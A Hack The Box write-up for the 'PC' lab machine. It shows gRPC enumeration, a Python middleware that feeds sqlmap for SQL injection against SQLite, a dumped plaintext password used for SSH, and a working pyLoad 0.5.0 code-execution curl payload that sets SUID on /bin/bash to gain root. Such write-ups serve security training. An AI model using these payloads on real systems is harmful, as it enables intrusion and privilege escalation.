PC hackthebox writeup

User Flag

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
50051/tcp open  unknown syn-ack ttl 63

nmap doesn’t know what service is running under port 50051. However, just by searching on google, we find it’s a service called gRPC. gRPC is basically like an API but it uses http2. Two useful clients for gRPC are grpcurl and grpc-client-cli. In this case, I’m going to use grpcurl. First, let’s inspect the gRPC options.

$ grpcurl -v -plaintext 10.10.11.214:50051 list

SimpleApp
grpc.reflection.v1alpha.ServerReflection
$ grpcurl -v -plaintext 10.10.11.214:50051 describe

SimpleApp is a service:
service SimpleApp {
  rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
  rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
  rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}
grpc.reflection.v1alpha.ServerReflection is a service:
service ServerReflection {
  rpc ServerReflectionInfo ( stream .grpc.reflection.v1alpha.ServerReflectionRequest ) returns ( stream .grpc.reflection.v1alpha.ServerReflectionResponse );
}

Now let’s register an account and login with it. To know the data I had to send I used the grpc-client-cli like this

$ grpc-client-cli 10.10.11.214:50051
? Choose a service: SimpleApp
? Choose a method: RegisterUser
Message json (type ? to see defaults): ?
{"username":"","password":""}

Now let’s call it using grpcurl

$ grpcurl -plaintext -d '{"username":"dasor", "password":"dasor"}' 10.10.11.214:50051 SimpleApp.RegisterUser
{
  "message": "Account created for user dasor!"
}
grpcurl -plaintext -d '{"username":"dasor", "password":"dasor"}' 10.10.11.214:50051 SimpleApp.LoginUser
{
  "message": "Your id is 241."
}

Let’s check our id using the method.

$ grpcurl -plaintext -d '{"id":"241"}' 10.10.11.214:50051 SimpleApp.getInfo
{
  "message": "Authorization Error.Missing 'token' header"
}

It seems we need some token however, when we logged in we didn’t get any. After some time thinking I decided to use the verbose option of grpcurl.

grpcurl -v -plaintext -d '{"username":"dasor", "password":"dasor"}' 10.10.11.214:50051 SimpleApp.LoginUser

Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );

Request metadata to send:
(empty)

Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

Response contents:
{
  "message": "Your id is 865."
}

Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZGFzb3IiLCJleHAiOjE2ODUxNDE5NzB9.vJxPOZvh0awP1Ocw2U3fmI1u7KP9jK-Ct__kbP5ZwpY'
Sent 1 request and received 1 response

Now we have a token.

$ grpcurl -v -plaintext -d '{"id":"865"}' -rpc-header "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZGFzb3IiLCJleHAiOjE2ODUxNDE5NzB9.vJxPOZvh0awP1Ocw2U3fmI1u7KP9jK-Ct__kbP5ZwpY" 10.10.11.214:50051 SimpleApp.getInfo

Resolved method descriptor:
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );

Request metadata to send:
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZGFzb3IiLCJleHAiOjE2ODUxNDE5NzB9.vJxPOZvh0awP1Ocw2U3fmI1u7KP9jK-Ct__kbP5ZwpY

Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

Response contents:
{
  "message": "Will update soon."
}

Now we have two options, try and hack the JWT or try to hack the gRPC. This gRPC really reminded me of a websocket that we hacked with sqli with the middleware made by Rayhan0x01 in the machine called Soccer. So I modified the middleware to use it for gRPC.

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
import os
import sys
import subprocess

server = "10.10.11.214:50051"

def send_ws(payload):
    # If the server returns a response on connect, use below line
    #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
    message = unquote(payload).replace('"','\'')
    data = '{"id":"%s"}' % message # campo del websocket
    token = sys.argv[1]
    command = 'grpcurl -v -plaintext -d ' + '\'' + data + '\'' + ' -rpc-header "token: ' + token + '" 10.10.11.214:50051 SimpleApp.getInfo | grep \'message\''

    print(data)
    process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = process.communicate()
    stdout = stdout.decode('utf-8')
    return stdout

def middleware_server(host_port,content_type="text/plain"):

    class CustomHandler(SimpleHTTPRequestHandler):
    	def do_GET(self) -> None:
    		self.send_response(200)
    		try:
    			payload = urlparse(self.path).query.split('=',1)[1]
    		except IndexError:
    			payload = False

    		if payload:
    			content = send_ws(payload)
    		else:
    			content = 'No parameters specified!'

    		self.send_header("Content-type", content_type)
    		self.end_headers()
    		self.wfile.write(bytes(content,"utf-8"))
    		return

    class _TCPServer(TCPServer):
    	allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
    pass

Once the middleware worked I ran sqlmap.

$ sqlmap http://localhost:8081/?id=227 -v --level 3 --risk 3 --batch --dump-all --flush-session
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.5#stable}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org


...

[22:29:27] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable
[22:29:35] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'SQLite'
it looks like the back-end DBMS is 'SQLite'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'SQLite' extending provided level (3) value? [Y/n] Y
[22:29:35] [INFO] testing 'Generic inline queries'
[22:29:35] [INFO] testing 'SQLite inline queries'
[22:29:35] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[22:29:36] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[22:29:36] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[22:29:36] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query)'
[22:30:02] [INFO] GET parameter 'id' appears to be 'SQLite > 2.0 OR time-based blind (heavy query)' injectable
[22:30:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:30:02] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:30:09] [INFO] target URL appears to be UNION injectable with 1 columns
[22:30:09] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
...
[22:30:09] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[22:30:09] [INFO] sqlmap will dump entries of all tables from all databases now
[22:30:09] [INFO] fetching tables for database: 'SQLite_masterdb'
[22:30:10] [INFO] fetching columns for table 'messages'
[22:30:10] [INFO] fetching entries for table 'messages'
Database: <current>
Table: messages
[1 entry]
+----+----------------------------------------------+----------+
| id | message                                      | username |
+----+----------------------------------------------+----------+
| 1  | The admin is working hard to fix the issues. | admin    |
+----+----------------------------------------------+----------+

[22:30:10] [INFO] table 'SQLite_masterdb.messages' dumped to CSV file '/home/dasor/.local/share/sqlmap/output/localhost/dump/SQLite_masterdb/messages.csv'
[22:30:10] [INFO] fetching columns for table 'accounts'
[22:30:11] [INFO] fetching entries for table 'accounts'
Database: <current>
Table: accounts
[2 entries]
+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
+------------------------+----------+

Now we can ssh with user sau.

$ ssh sau@10.10.11.214
sau@10.10.11.214's password:
Last login: Fri May 26 20:29:57 2023 from 10.10.14.50
sau@pc:~$

Root Flag

After searching for common privesc vectors I decided to do port forwarding on port 9666 since I saw it on netstat.

sau@pc:~$ netstat -tupan | grep -i listen
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:9666            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::50051                :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

There is no need to use chisel since we have ssh access, we can just do an ssh tunnel.

$ ssh -N -L 9666:127.0.0.1:9666 sau@10.10.11.214
sau@10.10.11.214's password:

Port 9666 is pyLoad I tried to login with user sau but it didn’t work. I decided to look at the version of pyLoad and search for CVE’s

sau@pc:~$ pyload --version
pyLoad 0.5.0

By searching in Snyk I found a github with a poc. The exploit code works perfectly just by executing it we can get root.

$ curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"chmod%20u%2Bs%20/bin/bash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://localhost:9666/flash/addcrypted2'
HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 21
Access-Control-Max-Age: 1800
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: OPTIONS, GET, POST
Vary: Accept-Encoding
Date: Fri, 26 May 2023 20:49:01 GMT
Server: Cheroot/8.6.0

Could not decrypt key%
sau@pc:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
sau@pc:~$ bash -p
bash-5.0# whoami
root

That’s all, thank you for reading!